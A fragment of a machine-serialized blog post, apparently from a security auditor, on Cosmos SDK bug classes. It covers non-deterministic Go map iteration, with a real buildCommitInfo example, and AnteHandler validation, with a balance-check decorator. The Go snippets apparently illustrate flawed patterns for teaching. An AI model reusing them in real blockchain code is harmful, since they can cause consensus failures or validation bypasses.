4,"props":76934,"children":76935},{"class":316,"line":1173},[76936,76940,76944,76949,76953,76957,76961,76965],{"type":23,"tag":314,"props":76937,"children":76938},{"style":360},[76939],{"type":28,"value":24577},{"type":23,"tag":314,"props":76941,"children":76942},{"style":354},[76943],{"type":28,"value":1237},{"type":23,"tag":314,"props":76945,"children":76946},{"style":332},[76947],{"type":28,"value":76948}," append",{"type":23,"tag":314,"props":76950,"children":76951},{"style":338},[76952],{"type":28,"value":341},{"type":23,"tag":314,"props":76954,"children":76955},{"style":360},[76956],{"type":28,"value":20220},{"type":23,"tag":314,"props":76958,"children":76959},{"style":338},[76960],{"type":28,"value":778},{"type":23,"tag":314,"props":76962,"children":76963},{"style":360},[76964],{"type":28,"value":1472},{"type":23,"tag":314,"props":76966,"children":76967},{"style":338},[76968],{"type":28,"value":2414},{"type":23,"tag":314,"props":76970,"children":76971},{"class":316,"line":1208},[76972],{"type":23,"tag":314,"props":76973,"children":76974},{"style":338},[76975],{"type":28,"value":2610},{"type":23,"tag":314,"props":76977,"children":76978},{"class":316,"line":1216},[76979,76984,76988,76993,76997,77001],{"type":23,"tag":314,"props":76980,"children":76981},{"style":360},[76982],{"type":28,"value":76983}," sort",{"type":23,"tag":314,"props":76985,"children":76986},{"style":338},[76987],{"type":28,"value":282},{"type":23,"tag":314,"props":76989,"children":76990},{"style":332},[76991],{"type":28,"value":76992},"Strings",{"type":23,"tag":314,"props":76994,"children":76995},{"style":338},[76996],{"type":28,"value":341},{"type":23,"tag":314,"props":76998,"children":76999},{"style":360},[77000],{"type":28,"value":20220},{"type":23,"tag":314,"props":77002,"children":77003},{"style":338},[77004],{"type":28,"value":2414},{"type":23,"tag":314,"props":77006,"children":77007},{"class":316,"line":1301},[77008],{"type":23,"tag":314,"props":77009,"children":77010},{"emptyLinePlaceholder":18},[77011],{"type":28,"value":1088},{"type":23,"tag":314,"props":77013,"children":77014},{"class":316,"line":1343},[77015,77019,77023,77027,77031,77035,77039,77043],{"type":23,"tag":314,"props":77016,"children":77017},{"style":2284},[77018],{"type":28,"value":2287},{"type":23,"tag":314,"props":77020,"children":77021},{"style":360},[77022],{"type":28,"value":2292},{"type":23,"tag":314,"props":77024,"children":77025},{"style":338},[77026],{"type":28,"value":778},{"type":23,"tag":314,"props":77028,"children":77029},{"style":360},[77030],{"type":28,"value":1472},{"type":23,"tag":314,"props":77032,"children":77033},{"style":354},[77034],{"type":28,"value":75669},{"type":23,"tag":314,"props":77036,"children":77037},{"style":2284},[77038],{"type":28,"value":76651},{"type":23,"tag":314,"props":77040,"children":77041},{"style":360},[77042],{"type":28,"value":20617},{"type":23,"tag":314,"props":77044,"children":77045},{"style":338},[77046],{"type":28,"value":1449},{"type":23,"tag":314,"props":77048,"children":77049},{"class":316,"line":1351},[77050,77054,77058,77062,77066,77070],{"type":23,"tag":314,"props":77051,"children":77052},{"style":360},[77053],{"type":28,"value":25432},{"type":23,"tag":314,"props":77055,"children":77056},{"style":338},[77057],{"type":28,"value":282},{"type":23,"tag":314,"props":77059,"children":77060},{"style":360},[77061],{"type":28,"value":76676},{"type":23,"tag":314,"props":77063,"children":77064},{"style":338},[77065],{"type":28,"value":282},{"type":23,"tag":314,"props":77067,"children":77068},{"style":332},[77069],{"type":28,"value":76685},{"type":23,"tag":314,"props":77071,"children":77072},{"style":338},[77073],{"type":28,"value":2719},{"type":23,"tag":314,"props":77075,"children":77076},{"class":316,"line":1387},[77077,77081,77085,77089],{"type":23,"tag":314,"props":77078,"children":77079},{"style":360},[77080],{"type":28,"value":76697},{"type":23,"tag":314,"props":77082,"children":77083},{"style":338},[77084],{"type":28,"value":282},{"type":23,"tag":314,"props":77086,"children":77087},{"style":332},[77088],{"type":28,"value":76706},{"type":23,"tag":314,"props":77090,"children":77091},{"style":338},[77092],{"type":28,"value":2719},{"type":23,"tag":314,"props":77094,"children":77095},{"class":316,"line":1422},[77096,77100],{"type":23,"tag":314,"props":77097,"children":77098},{"style":1245},[77099],{"type":28,"value":76718},{"type":23,"tag":314,"props":77101,"children":77102},{"style":338},[77103],{"type":28,"value":1870},{"type":23,"tag":314,"props":77105,"children":77106},{"class":316,"line":1430},[77107,77111,77115,77119,77123,77127,77131,77135,77139,77143],{"type":23,"tag":314,"props":77108,"children":77109},{"style":360},[77110],{"type":28,"value":76730},{"type":23,"tag":314,"props":77112,"children":77113},{"style":338},[77114],{"type":28,"value":282},{"type":23,"tag":314,"props":77116,"children":77117},{"style":332},[77118],{"type":28,"value":76739},{"type":23,"tag":314,"props":77120,"children":77121},{"style":338},[77122],{"type":28,"value":341},{"type":23,"tag":314,"props":77124,"children":77125},{"style":360},[77126],{"type":28,"value":1472},{"type":23,"tag":314,"props":77128,"children":77129},{"style":338},[77130],{"type":28,"value":778},{"type":23,"tag":314,"props":77132,"children":77133},{"style":360},[77134],{"type":28,"value":76615},{"type":23,"tag":314,"props":77136,"children":77137},{"style":338},[77138],{"type":28,"value":1312},{"type":23,"tag":314,"props":77140,"children":77141},{"style":360},[77142],{"type":28,"value":1472},{"type":23,"tag":314,"props":77144,"children":77145},{"style":338},[77146],{"type":28,"value":77147},"]),\n",{"type":23,"tag":314,"props":77149,"children":77150},{"class":316,"line":1452},[77151],{"type":23,"tag":314,"props":77152,"children":77153},{"style":338},[77154],{"type":28,"value":76767},{"type":23,"tag":314,"props":77156,"children":77157},{"class":316,"line":1497},[77158],{"type":23,"tag":314,"props":77159,"children":77160},{"style":338},[77161],{"type":28,"value":67574},{"type":23,"tag":314,"props":77163,"children":77164},{"class":316,"line":1539},[77165],{"type":23,"tag":314,"props":77166,"children":77167},{"style":338},[77168],{"type":28,"value":2610},{"type":23,"tag":314,"props":77170,"children":77171},{"class":316,"line":1548},[77172],{"type":23,"tag":314,"props":77173,"children":77174},{"style":338},[77175],{"type":28,"value":386},{"type":23,"tag":24,"props":77177,"children":77178},{},[77179],{"type":28,"value":77180},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":23,"tag":837,"props":77182,"children":77184},{"id":77183},"real-world-examples-1",[77185],{"type":28,"value":75941},{"type":23,"tag":24,"props":77187,"children":77188},{},[77189,77191,77196,77198,77204,77206,77212,77214,77220],{"type":28,"value":77190},"Real-world examples of ",{"type":23,"tag":94,"props":77192,"children":77194},{"className":77193},[],[77195],{"type":28,"value":66355},{"type":28,"value":77197}," causing determinism problems can be found ",{"type":23,"tag":31,"props":77199,"children":77202},{"href":77200,"rel":77201},"https://github.com/cosmos/cosmos-sdk/pull/12487",[35],[77203],{"type":28,"value":46834},{"type":28,"value":77205},", specifically, where the result of ",{"type":23,"tag":94,"props":77207,"children":77209},{"className":77208},[],[77210],{"type":28,"value":77211},"buildCommitInfo",{"type":28,"value":77213}," is inconsistent due to iteration over the ",{"type":23,"tag":94,"props":77215,"children":77217},{"className":77216},[],[77218],{"type":28,"value":77219},"rs.stores",{"type":28,"value":77221}," map.",{"type":23,"tag":24,"props":77223,"children":77224},{},[77225],{"type":23,"tag":31,"props":77226,"children":77229},{"href":77227,"rel":77228},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[35],[77230],{"type":28,"value":75991},{"type":23,"tag":304,"props":77232,"children":77234},{"code":77233,"language":75417,"meta":7,"className":75418,"style":7},"func (rs *Store) buildCommitInfo(\n version int64\n) *types.CommitInfo {\n storeInfos := []types.StoreInfo{}\n for key, store := range rs.stores {\n if store.GetStoreType() == types.StoreTypeTransient {\n continue\n }\n storeInfos = append(storeInfos, types.StoreInfo{\n Name: key.Name(),\n CommitId: store.LastCommitID(),\n })\n }\n return &types.CommitInfo{\n Version: version,\n StoreInfos: storeInfos,\n }\n}\n",[77235],{"type":23,"tag":94,"props":77236,"children":77237},{"__ignoreMap":7},[77238,77275,77288,77316,77350,77395,77441,77449,77456,77501,77531,77560,77567,77574,77601,77623,77643,77650],{"type":23,"tag":314,"props":77239,"children":77240},{"class":316,"line":317},[77241,77245,77249,77254,77258,77263,77267,77271],{"type":23,"tag":314,"props":77242,"children":77243},{"style":321},[77244],{"type":28,"value":75553},{"type":23,"tag":314,"props":77246,"children":77247},{"style":338},[77248],{"type":28,"value":2324},{"type":23,"tag":314,"props":77250,"children":77251},{"style":360},[77252],{"type":28,"value":77253},"rs ",{"type":23,"tag":314,"props":77255,"children":77256},{"style":354},[77257],{"type":28,"value":256},{"type":23,"tag":314,"props":77259,"children":77260},{"style":2674},[77261],{"type":28,"value":77262},"Store",{"type":23,"tag":314,"props":77264,"children":77265},{"style":338},[77266],{"type":28,"value":2343},{"type":23,"tag":314,"props":77268,"children":77269},{"style":332},[77270],{"type":28,"value":77211},{"type":23,"tag":314,"props":77272,"children":77273},{"style":338},[77274],{"type":28,"value":2719},{"type":23,"tag":314,"props":77276,"children":77277},{"class":316,"line":370},[77278,77283],{"type":23,"tag":314,"props":77279,"children":77280},{"style":360},[77281],{"type":28,"value":77282}," version",{"type":23,"tag":314,"props":77284,"children":77285},{"style":2674},[77286],{"type":28,"value":77287}," int64\n",{"type":23,"tag":314,"props":77289,"children":77290},{"class":316,"line":380},[77291,77295,77299,77303,77307,77312],{"type":23,"tag":314,"props":77292,"children":77293},{"style":338},[77294],{"type":28,"value":2343},{"type":23,"tag":314,"props":77296,"children":77297},{"style":354},[77298],{"type":28,"value":256},{"type":23,"tag":314,"props":77300,"children":77301},{"style":2674},[77302],{"type":28,"value":5012},{"type":23,"tag":314,"props":77304,"children":77305},{"style":338},[77306],{"type":28,"value":282},{"type":23,"tag":314,"props":77308,"children":77309},{"style":2674},[77310],{"type":28,"value":77311},"CommitInfo",{"type":23,"tag":314,"props":77313,"children":77314},{"style":338},[77315],{"type":28,"value":1449},{"type":23,"tag":314,"props":77317,"children":77318},{"class":316,"line":1091},[77319,77324,77328,77332,77336,77340,77345],{"type":23,"tag":314,"props":77320,"children":77321},{"style":360},[77322],{"type":28,"value":77323}," storeInfos",{"type":23,"tag":314,"props":77325,"children":77326},{"style":354},[77327],{"type":28,"value":75669},{"type":23,"tag":314,"props":77329,"children":77330},{"style":338},[77331],{"type":28,"value":75480},{"type":23,"tag":314,"props":77333,"children":77334},{"style":2674},[77335],{"type":28,"value":5012},{"type":23,"tag":314,"props":77337,"children":77338},{"style":338},[77339],{"type":28,"value":282},{"type":23,"tag":314,"props":77341,"children":77342},{"style":2674},[77343],{"type":28,"value":77344},"StoreInfo",{"type":23,"tag":314,"props":77346,"children":77347},{"style":338},[77348],{"type":28,"value":77349},"{}\n",{"type":23,"tag":314,"props":77351,"children":77352},{"class":316,"line":1141},[77353,77357,77361,77365,77369,77373,77377,77382,77386,77391],{"type":23,"tag":314,"props":77354,"children":77355},{"style":2284},[77356],{"type":28,"value":2287},{"type":23,"tag":314,"props":77358,"children":77359},{"style":360},[77360],{"type":28,"value":5186},{"type":23,"tag":314,"props":77362,"children":77363},{"style":338},[77364],{"type":28,"value":778},{"type":23,"tag":314,"props":77366,"children":77367},{"style":360},[77368],{"type":28,"value":5195},{"type":23,"tag":314,"props":77370,"children":77371},{"style":354},[77372],{"type":28,"value":75669},{"type":23,"tag":314,"props":77374,"children":77375},{"style":2284},[77376],{"type":28,"value":76651},{"type":23,"tag":314,"props":77378,"children":77379},{"style":360},[77380],{"type":28,"value":77381}," rs",{"type":23,"tag":314,"props":77383,"children":77384},{"style":338},[77385],{"type":28,"value":282},{"type":23,"tag":314,"props":77387,"children":77388},{"style":360},[77389],{"type":28,"value":77390},"stores",{"type":23,"tag":314,"props":77392,"children":77393},{"style":338},[77394],{"type":28,"value":1449},{"type":23,"tag":314,"props":77396,"children":77397},{"class":316,"line":1173},[77398,77402,77406,77410,77415,77419,77423,77428,77432,77437],{"type":23,"tag":314,"props":77399,"children":77400},{"style":2284},[77401],{"type":28,"value":2527},{"type":23,"tag":314,"props":77403,"children":77404},{"style":360},[77405],{"type":28,"value":5085},{"type":23,"tag":314,"props":77407,"children":77408},{"style":338},[77409],{"type":28,"value":282},{"type":23,"tag":314,"props":77411,"children":77412},{"style":332},[77413],{"type":28,"value":77414},"GetStoreType",{"type":23,"tag":314,"props":77416,"children":77417},{"style":338},[77418],{"type":28,"value":13290},{"type":23,"tag":314,"props":77420,"children":77421},{"style":354},[77422],{"type":28,"value":7828},{"type":23,"tag":314,"props":77424,"children":77425},{"style":360},[77426],{"type":28,"value":77427}," types",{"type":23,"tag":314,"props":77429,"children":77430},{"style":338},[77431],{"type":28,"value":282},{"type":23,"tag":314,"props":77433,"children":77434},{"style":360},[77435],{"type":28,"value":77436},"StoreTypeTransient",{"type":23,"tag":314,"props":77438,"children":77439},{"style":338},[77440],{"type":28,"value":1449},{"type":23,"tag":314,"props":77442,"children":77443},{"class":316,"line":1208},[77444],{"type":23,"tag":314,"props":77445,"children":77446},{"style":2284},[77447],{"type":28,"value":77448}," continue\n",{"type":23,"tag":314,"props":77450,"children":77451},{"class":316,"line":1216},[77452],{"type":23,"tag":314,"props":77453,"children":77454},{"style":338},[77455],{"type":28,"value":2602},{"type":23,"tag":314,"props":77457,"children":77458},{"class":316,"line":1301},[77459,77464,77468,77472,77476,77481,77485,77489,77493,77497],{"type":23,"tag":314,"props":77460,"children":77461},{"style":360},[77462],{"type":28,"value":77463}," storeInfos",{"type":23,"tag":314,"props":77465,"children":77466},{"style":354},[77467],{"type":28,"value":1237},{"type":23,"tag":314,"props":77469,"children":77470},{"style":332},[77471],{"type":28,"value":76948},{"type":23,"tag":314,"props":77473,"children":77474},{"style":338},[77475],{"type":28,"value":341},{"type":23,"tag":314,"props":77477,"children":77478},{"style":360},[77479],{"type":28,"value":77480},"storeInfos",{"type":23,"tag":314,"props":77482,"children":77483},{"style":338},[77484],{"type":28,"value":778},{"type":23,"tag":314,"props":77486,"children":77487},{"style":2674},[77488],{"type":28,"value":5012},{"type":23,"tag":314,"props":77490,"children":77491},{"style":338},[77492],{"type":28,"value":282},{"type":23,"tag":314,"props":77494,"children":77495},{"style":2674},[77496],{"type":28,"value":77344},{"type":23,"tag":314,"props":77498,"children":77499},{"style":338},[77500],{"type":28,"value":10129},{"type":23,"tag":314,"props":77502,"children":77503},{"class":316,"line":1343},[77504,77509,77514,77518,77522,77527],{"type":23,"tag":314,"props":77505,"children":77506},{"style":360},[77507],{"type":28,"value":77508}," Name",{"type":23,"tag":314,"props":77510,"children":77511},{"style":338},[77512],{"type":28,"value":77513},": ",{"type":23,"tag":314,"props":77515,"children":77516},{"style":360},[77517],{"type":28,"value":1472},{"type":23,"tag":314,"props":77519,"children":77520},{"style":338},[77521],{"type":28,"value":282},{"type":23,"tag":314,"props":77523,"children":77524},{"style":332},[77525],{"type":28,"value":77526},"Name",{"type":23,"tag":314,"props":77528,"children":77529},{"style":338},[77530],{"type":28,"value":2747},{"type":23,"tag":314,"props":77532,"children":77533},{"class":316,"line":1351},[77534,77539,77543,77547,77551,77556],{"type":23,"tag":314,"props":77535,"children":77536},{"style":360},[77537],{"type":28,"value":77538}," CommitId",{"type":23,"tag":314,"props":77540,"children":77541},{"style":338},[77542],{"type":28,"value":14573},{"type":23,"tag":314,"props":77544,"children":77545},{"style":360},[77546],{"type":28,"value":5195},{"type":23,"tag":314,"props":77548,"children":77549},{"style":338},[77550],{"type":28,"value":282},{"type":23,"tag":314,"props":77552,"children":77553},{"style":332},[77554],{"type":28,"value":77555},"LastCommitID",{"type":23,"tag":314,"props":77557,"children":77558},{"style":338},[77559],{"type":28,"value":2747},{"type":23,"tag":314,"props":77561,"children":77562},{"class":316,"line":1387},[77563],{"type":23,"tag":314,"props":77564,"children":77565},{"style":338},[77566],{"type":28,"value":67451},{"type":23,"tag":314,"props":77568,"children":77569},{"class":316,"line":1422},[77570],{"type":23,"tag":314,"props":77571,"children":77572},{"style":338},[77573],{"type":28,"value":2610},{"type":23,"tag":314,"props":77575,"children":77576},{"class":316,"line":1430},[77577,77581,77585,77589,77593,77597],{"type":23,"tag":314,"props":77578,"children":77579},{"style":2284},[77580],{"type":28,"value":16228},{"type":23,"tag":314,"props":77582,"children":77583},{"style":354},[77584],{"type":28,"value":1968},{"type":23,"tag":314,"props":77586,"children":77587},{"style":2674},[77588],{"type":28,"value":5012},{"type":23,"tag":314,"props":77590,"children":77591},{"style":338},[77592],{"type":28,"value":282},{"type":23,"tag":314,"props":77594,"children":77595},{"style":2674},[77596],{"type":28,"value":77311},{"type":23,"tag":314,"props":77598,"children":77599},{"style":338},[77600],{"type":28,"value":10129},{"type":23,"tag":314,"props":77602,"children":77603},{"class":316,"line":1452},[77604,77609,77614,77619],{"type":23,"tag":314,"props":77605,"children":77606},{"style":360},[77607],{"type":28,"value":77608}," Version",{"type":23,"tag":314,"props":77610,"children":77611},{"style":338},[77612],{"type":28,"value":77613},": ",{"type":23,"tag":314,"props":77615,"children":77616},{"style":360},[77617],{"type":28,"value":77618},"version",{"type":23,"tag":314,"props":77620,"children":77621},{"style":338},[77622],{"type":28,"value":1870},{"type":23,"tag":314,"props":77624,"children":77625},{"class":316,"line":1497},[77626,77631,77635,77639],{"type":23,"tag":314,"props":77627,"children":77628},{"style":360},[77629],{"type":28,"value":77630}," StoreInfos",{"type":23,"tag":314,"props":77632,"children":77633},{"style":338},[77634],{"type":28,"value":14573},{"type":23,"tag":314,"props":77636,"children":77637},{"style":360},[77638],{"type":28,"value":77480},{"type":23,"tag":314,"props":77640,"children":77641},{"style":338},[77642],{"type":28,"value":1870},{"type":23,"tag":314,"props":77644,"children":77645},{"class":316,"line":1539},[77646],{"type":23,"tag":314,"props":77647,"children":77648},{"style":338},[77649],{"type":28,"value":2610},{"type":23,"tag":314,"props":77651,"children":77652},{"class":316,"line":1548},[77653],{"type":23,"tag":314,"props":77654,"children":77655},{"style":338},[77656],{"type":28,"value":386},{"type":23,"tag":24,"props":77658,"children":77659},{},[77660,77662,77669,77670,77677],{"type":28,"value":77661},"Other factors contributing to determinism issues are the usage of ",{"type":23,"tag":31,"props":77663,"children":77666},{"href":77664,"rel":77665},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[35],[77667],{"type":28,"value":77668},"time-sensitive functions",{"type":28,"value":557},{"type":23,"tag":31,"props":77671,"children":77674},{"href":77672,"rel":77673},"https://github.com/cosmos/cosmos-sdk/issues/16638",[35],[77675],{"type":28,"value":77676},"race conditions",{"type":28,"value":282},{"type":23,"tag":61,"props":77679,"children":77681},{"id":77680},"thou-shalt-not-passor-should-you",[77682],{"type":28,"value":77683},"Thou Shalt Not Pass...Or Should You?",{"type":23,"tag":24,"props":77685,"children":77686},{},[77687,77689,77695,77696,77702],{"type":28,"value":77688},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":23,"tag":94,"props":77690,"children":77692},{"className":77691},[],[77693],{"type":28,"value":77694},"msg.value",{"type":28,"value":778},{"type":23,"tag":94,"props":77697,"children":77699},{"className":77698},[],[77700],{"type":28,"value":77701},"msg.sender",{"type":28,"value":77703},", and collecting transaction fees) to the underlying blockchain.",{"type":23,"tag":24,"props":77705,"children":77706},{},[77707,77709,77715,77717,77723],{"type":28,"value":77708},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":23,"tag":94,"props":77710,"children":77712},{"className":77711},[],[77713],{"type":28,"value":77714},"Cosmos-SDK",{"type":28,"value":77716}," introduces ",{"type":23,"tag":94,"props":77718,"children":77720},{"className":77719},[],[77721],{"type":28,"value":77722},"AnteHandler",{"type":28,"value":77724}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":23,"tag":24,"props":77726,"children":77727},{},[77728,77730,77735,77737,77742],{"type":28,"value":77729},"To provide context, let's first understand how an ",{"type":23,"tag":94,"props":77731,"children":77733},{"className":77732},[],[77734],{"type":28,"value":77722},{"type":28,"value":77736}," is processed. Each ",{"type":23,"tag":94,"props":77738,"children":77740},{"className":77739},[],[77741],{"type":28,"value":77722},{"type":28,"value":77743}," is a state transition function that can:",{"type":23,"tag":84,"props":77745,"children":77746},{},[77747,77752],{"type":23,"tag":88,"props":77748,"children":77749},{},[77750],{"type":28,"value":77751},"Transform the block state in relation to transaction and execution context.",{"type":23,"tag":88,"props":77753,"children":77754},{},[77755,77757],{"type":28,"value":77756},"Determine the course of action for the transaction.\n",{"type":23,"tag":84,"props":77758,"children":77759},{},[77760,77771],{"type":23,"tag":88,"props":77761,"children":77762},{},[77763,77765,77770],{"type":28,"value":77764},"Pass the transaction to the next ",{"type":23,"tag":94,"props":77766,"children":77768},{"className":77767},[],[77769],{"type":28,"value":77722},{"type":28,"value":282},{"type":23,"tag":88,"props":77772,"children":77773},{},[77774],{"type":28,"value":77775},"Return error for transaction.",{"type":23,"tag":24,"props":77777,"children":77778},{},[77779,77781,77786],{"type":28,"value":77780},"The bad news is that developing an ",{"type":23,"tag":94,"props":77782,"children":77784},{"className":77783},[],[77785],{"type":28,"value":77722},{"type":28,"value":77787}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":23,"tag":24,"props":77789,"children":77790},{},[77791,77792,77798],{"type":28,"value":92},{"type":23,"tag":94,"props":77793,"children":77795},{"className":77794},[],[77796],{"type":28,"value":77797},"AnteHandle",{"type":28,"value":77799}," implementation may look something like this:",{"type":23,"tag":304,"props":77801,"children":77803},{"code":77802,"language":75417,"meta":7,"className":75418,"style":7},"const (\n MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n ctx sdk.Context,\n tx sdk.Tx,\n simulate bool,\n next sdk.AnteHandler,\n) (sdk.Context, error) {\n sigTx, ok := tx.(authsigning.SigVerifiableTx)\n if !ok {\n return ctx, errorsmod.Wrap(\n sdkerrors.ErrTxDecode,\n \"invalid tx type\",\n )\n }\n\n signers := sigTx.GetSigners()\n for i, signer := range signers {\n balance := abd.bk.getBalance(ctx, signer, ATOM)\n if balance.Amount \u003C MIN_BALANCE {\n return ctx, errorsmod.Wrap(\n ErrInsufficientBalance,\n \"Insufficient Balance\",\n )\n }\n }\n\n return next(ctx, tx, simulate)\n}\n",[77804],{"type":23,"tag":94,"props":77805,"children":77806},{"__ignoreMap":7},[77807,77819,77835,77842,77849,77882,77906,77931,77947,77971,78003,78051,78070,78103,78124,78136,78143,78150,78157,78187,78223,78287,78321,78353,78365,78377,78384,78391,78398,78405,78447],{"type":23,"tag":314,"props":77808,"children":77809},{"class":316,"line":317},[77810,77814],{"type":23,"tag":314,"props":77811,"children":77812},{"style":321},[77813],{"type":28,"value":346},{"type":23,"tag":314,"props":77815,"children":77816},{"style":338},[77817],{"type":28,"value":77818}," (\n",{"type":23,"tag":314,"props":77820,"children":77821},{"class":316,"line":370},[77822,77827,77831],{"type":23,"tag":314,"props":77823,"children":77824},{"style":360},[77825],{"type":28,"value":77826}," MIN_BALANCE",{"type":23,"tag":314,"props":77828,"children":77829},{"style":354},[77830],{"type":28,"value":1237},{"type":23,"tag":314,"props":77832,"children":77833},{"style":1054},[77834],{"type":28,"value":18581},{"type":23,"tag":314,"props":77836,"children":77837},{"class":316,"line":380},[77838],{"type":23,"tag":314,"props":77839,"children":77840},{"style":338},[77841],{"type":28,"value":2414},{"type":23,"tag":314,"props":77843,"children":77844},{"class":316,"line":1091},[77845],{"type":23,"tag":314,"props":77846,"children":77847},{"emptyLinePlaceholder":18},[77848],{"type":28,"value":1088},{"type":23,"tag":314,"props":77850,"children":77851},{"class":316,"line":1141},[77852,77856,77860,77865,77870,77874,77878],{"type":23,"tag":314,"props":77853,"children":77854},{"style":321},[77855],{"type":28,"value":75553},{"type":23,"tag":314,"props":77857,"children":77858},{"style":338},[77859],{"type":28,"value":2324},{"type":23,"tag":314,"props":77861,"children":77862},{"style":360},[77863],{"type":28,"value":77864},"abd ",{"type":23,"tag":314,"props":77866,"children":77867},{"style":2674},[77868],{"type":28,"value":77869},"AccountBalanceDecorator",{"type":23,"tag":314,"props":77871,"children":77872},{"style":338},[77873],{"type":28,"value":2343},{"type":23,"tag":314,"props":77875,"children":77876},{"style":332},[77877],{"type":28,"value":77797},{"type":23,"tag":314,"props":77879,"children":77880},{"style":338},[77881],{"type":28,"value":2719},{"type":23,"tag":314,"props":77883,"children":77884},{"class":316,"line":1173},[77885,77889,77894,77898,77902],{"type":23,"tag":314,"props":77886,"children":77887},{"style":360},[77888],{"type":28,"value":19461},{"type":23,"tag":314,"props":77890,"children":77891},{"style":2674},[77892],{"type":28,"value":77893}," sdk",{"type":23,"tag":314,"props":77895,"children":77896},{"style":338},[77897],{"type":28,"value":282},{"type":23,"tag":314,"props":77899,"children":77900},{"style":2674},[77901],{"type":28,"value":75602},{"type":23,"tag":314,"props":77903,"children":77904},{"style":338},[77905],{"type":28,"value":1870},{"type":23,"tag":314,"props":77907,"children":77908},{"class":316,"line":1208},[77909,77914,77918,77922,77927],{"type":23,"tag":314,"props":77910,"children":77911},{"style":360},[77912],{"type":28,"value":77913}," tx",{"type":23,"tag":314,"props":77915,"children":77916},{"style":2674},[77917],{"type":28,"value":77893},{"type":23,"tag":314,"props":77919,"children":77920},{"style":338},[77921],{"type":28,"value":282},{"type":23,"tag":314,"props":77923,"children":77924},{"style":2674},[77925],{"type":28,"value":77926},"Tx",{"type":23,"tag":314,"props":77928,"children":77929},{"style":338},[77930],{"type":28,"value":1870},{"type":23,"tag":314,"props":77932,"children":77933},{"class":316,"line":1216},[77934,77939,77943],{"type":23,"tag":314,"props":77935,"children":77936},{"style":360},[77937],{"type":28,"value":77938}," simulate",{"type":23,"tag":314,"props":77940,"children":77941},{"style":2674},[77942],{"type":28,"value":11298},{"type":23,"tag":314,"props":77944,"children":77945},{"style":338},[77946],{"type":28,"value":1870},{"type":23,"tag":314,"props":77948,"children":77949},{"class":316,"line":1301},[77950,77955,77959,77963,77967],{"type":23,"tag":314,"props":77951,"children":77952},{"style":360},[77953],{"type":28,"value":77954}," next",{"type":23,"tag":314,"props":77956,"children":77957},{"style":2674},[77958],{"type":28,"value":77893},{"type":23,"tag":314,"props":77960,"children":77961},{"style":338},[77962],{"type":28,"value":282},{"type":23,"tag":314,"props":77964,"children":77965},{"style":2674},[77966],{"type":28,"value":77722},{"type":23,"tag":314,"props":77968,"children":77969},{"style":338},[77970],{"type":28,"value":1870},{"type":23,"tag":314,"props":77972,"children":77973},{"class":316,"line":1343},[77974,77978,77983,77987,77991,77995,77999],{"type":23,"tag":314,"props":77975,"children":77976},{"style":338},[77977],{"type":28,"value":75635},{"type":23,"tag":314,"props":77979,"children":77980},{"style":2674},[77981],{"type":28,"value":77982},"sdk",{"type":23,"tag":314,"props":77984,"children":77985},{"style":338},[77986],{"type":28,"value":282},{"type":23,"tag":314,"props":77988,"children":77989},{"style":2674},[77990],{"type":28,"value":75602},{"type":23,"tag":314,"props":77992,"children":77993},{"style":338},[77994],{"type":28,"value":778},{"type":23,"tag":314,"props":77996,"children":77997},{"style":2674},[77998],{"type":28,"value":14106},{"type":23,"tag":314,"props":78000,"children":78001},{"style":338},[78002],{"type":28,"value":367},{"type":23,"tag":314,"props":78004,"children":78005},{"class":316,"line":1351},[78006,78011,78015,78020,78024,78028,78033,78038,78042,78047],{"type":23,"tag":314,"props":78007,"children":78008},{"style":360},[78009],{"type":28,"value":78010}," sigTx",{"type":23,"tag":314,"props":78012,"children":78013},{"style":338},[78014],{"type":28,"value":778},{"type":23,"tag":314,"props":78016,"children":78017},{"style":360},[78018],{"type":28,"value":78019},"ok",{"type":23,"tag":314,"props":78021,"children":78022},{"style":354},[78023],{"type":28,"value":75669},{"type":23,"tag":314,"props":78025,"children":78026},{"style":360},[78027],{"type":28,"value":67281},{"type":23,"tag":314,"props":78029,"children":78030},{"style":338},[78031],{"type":28,"value":78032},".(",{"type":23,"tag":314,"props":78034,"children":78035},{"style":2674},[78036],{"type":28,"value":78037},"authsigning",{"type":23,"tag":314,"props":78039,"children":78040},{"style":338},[78041],{"type":28,"value":282},{"type":23,"tag":314,"props":78043,"children":78044},{"style":2674},[78045],{"type":28,"value":78046},"SigVerifiableTx",{"type":23,"tag":314,"props":78048,"children":78049},{"style":338},[78050],{"type":28,"value":2414},{"type":23,"tag":314,"props":78052,"children":78053},{"class":316,"line":1387},[78054,78058,78062,78066],{"type":23,"tag":314,"props":78055,"children":78056},{"style":2284},[78057],{"type":28,"value":11527},{"type":23,"tag":314,"props":78059,"children":78060},{"style":354},[78061],{"type":28,"value":12112},{"type":23,"tag":314,"props":78063,"children":78064},{"style":360},[78065],{"type":28,"value":78019},{"type":23,"tag":314,"props":78067,"children":78068},{"style":338},[78069],{"type":28,"value":1449},{"type":23,"tag":314,"props":78071,"children":78072},{"class":316,"line":1422},[78073,78077,78081,78085,78090,78094,78099],{"type":23,"tag":314,"props":78074,"children":78075},{"style":2284},[78076],{"type":28,"value":14985},{"type":23,"tag":314,"props":78078,"children":78079},{"style":360},[78080],{"type":28,"value":25089},{"type":23,"tag":314,"props":78082,"children":78083},{"style":338},[78084],{"type":28,"value":778},{"type":23,"tag":314,"props":78086,"children":78087},{"style":360},[78088],{"type":28,"value":78089},"errorsmod",{"type":23,"tag":314,"props":78091,"children":78092},{"style":338},[78093],{"type":28,"value":282},{"type":23,"tag":314,"props":78095,"children":78096},{"style":332},[78097],{"type":28,"value":78098},"Wrap",{"type":23,"tag":314,"props":78100,"children":78101},{"style":338},[78102],{"type":28,"value":2719},{"type":23,"tag":314,"props":78104,"children":78105},{"class":316,"line":1430},[78106,78111,78115,78120],{"type":23,"tag":314,"props":78107,"children":78108},{"style":360},[78109],{"type":28,"